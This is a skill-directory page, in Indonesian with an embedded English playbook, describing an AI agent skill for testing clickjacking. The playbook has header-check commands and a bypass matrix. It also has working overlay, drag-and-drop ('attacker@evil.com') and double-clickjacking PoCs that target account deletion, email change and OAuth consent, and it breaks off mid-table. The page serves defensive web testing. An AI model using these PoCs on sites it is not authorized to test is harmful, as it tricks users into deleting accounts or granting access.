Langsung ke konten
Skillpedia
Keamanan6.5k ยท #14053

clickjacking

Fungsinya

Panduan ini membahas clickjacking, ketika penyerang membingkai halaman sensitif dan membujuk pengguna untuk mengkliknya. Panduan ini untuk tim web yang ingin memastikan halaman mereka memblokir pembingkaian.

Kapan dipakai

  • โœ“Saat sebuah situs memiliki aksi sensitif seperti pembayaran, penghapusan, atau pemberian izin.
  • โœ“Saat Anda ingin memeriksa apakah halaman kunci mengirim header perlindungan frame yang benar.
  • โœ“Saat sebuah tim perlu menguji apakah halamannya bisa ditampilkan di dalam frame situs lain.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œApakah halaman pengaturan akun dan persetujuan kami bisa dibingkai oleh situs web lain? Tolong periksa header-nya.โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent memeriksa header terkait frame pada halaman sensitif, menguji apakah halaman itu bisa dimuat di dalam frame, dan melaporkan halaman yang bisa dibingkai.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Clickjacking Playbook

Framing a sensitive UI under an attacker page lets a single victim click trigger a privileged action (delete account, transfer funds, grant OAuth scope, confirm 2FA). Severity = severity of the framed action. Pages without X-Frame-Options and without Content-Security-Policy: frame-ancestors are framable.

1. Detection โ€” framing controls

# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
  echo "== $path =="
  curl -s -D- -o /dev/null "https://<TARGET>$path" \
    | grep -iE "x-frame-options|content-security-policy"
done

# Quick "is it framable?" probe โ€” save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI โ†’ framing allowed.

Server-side allow:

  • no X-Frame-Options header and
  • no frame-ancestors directive in Content-Security-Policy (or frame-ancestors * / overly broad).

2. Misconfig matrix

Class Server behaviour Exploit
No XFO, no CSP frame-ancestors full framing allowed classic overlay
XFO: ALLOW-FROM only ignored by modern browsers full framing in Chromium/Firefox
frame-ancestors * explicit allow-all full framing
frame-ancestors 'self' *.target.com trusts every subdomain host PoC on a takeable subdomain
Frame-buster JS only (if (top!=self) top.location=self.location) client-side defense sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it
204-frame-buster response replaces self <iframe csp="sandbox" ...> or pre-empt with onbeforeunload
Drag-and-drop sinks sensitive textarea framable drag attacker-controlled string onto target form
Cursorjacking custom cursor + offset misalign visible vs. real pointer
Double-clickjacking first click opens prompt, second confirms two-stage overlay (Paulos Yibelo 2024)
Touch / pointer gestures mobile swipe consent overlay with transparent gesture target
Permissions-Policy missing camera/mic in iframe request perms in nested iframe over consent UI

3. Exploit PoC โ€” overlay

<!doctype html>
<html><head><title>Free iPhone</title>
<style>
  body { margin:0 }
  .lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
  iframe { position:absolute; z-index:2; opacity:0.0001;
           top:120px; left:60px; width:400px; height:80px;
           border:0; pointer-events:auto; }
</style></head><body>
  <div class="lure">
    Click <b style="color:red">CLAIM</b> to win an iPhone:
    <button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
  </div>
  <!-- aligned so the invisible iframe button sits exactly over CLAIM -->
  <iframe src="https://<TARGET>/account/delete?confirm=1"
          sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>

3.1 Drag-and-drop CJ

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
  Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>

3.2 Double-clickjacking (browser confirm dialog)

<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->

4. Chains

  • CJ + OAuth consent โ†’ silent scope grant โ†’ API takeover.
  • CJ + CSRF-token leakage โ†’ click triggers a state change that reads token from the framed page.
  • CJ + self-XSS โ†’ coerce victim to paste/drag the payload into a framed input.
  • CJ + 2FA confirm โ†’ step-up auth confirmed under a lure click.

5. Tools

  • Burp Suite โ€” Clickbandit (point-and-click PoC generator)
  • clickjacker.io / OWASP Clickjacking Tester
  • Manual: any HTML editor + a browser with frame ancestors disabled in dev

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Framing from foreign origin server-side referer logging Host PoC on in-scope domain during authorized tests
Sudden spike in sensitive actions w/ short dwell time UX analytics Demonstrate impact with a single victim profile
Browser console CSP re
Pertanyaan umum

Header mana yang melindungi dari pembingkaian?

Panduan ini menyebut header X-Frame-Options dan aturan frame-ancestors di Content Security Policy.

Mengapa tingkat keparahan bergantung pada aksinya?

Panduan ini menyatakan risikonya ditentukan oleh apa yang bisa dilakukan aksi yang dibingkai, seperti menghapus akun.

Apakah pengaturan header lama sudah cukup?

Panduan ini mencatat bahwa beberapa pengaturan allow-from lama diabaikan oleh browser modern.

Detail

Deskripsi asli dari pembuat

UI redressing โ€” missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14053
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa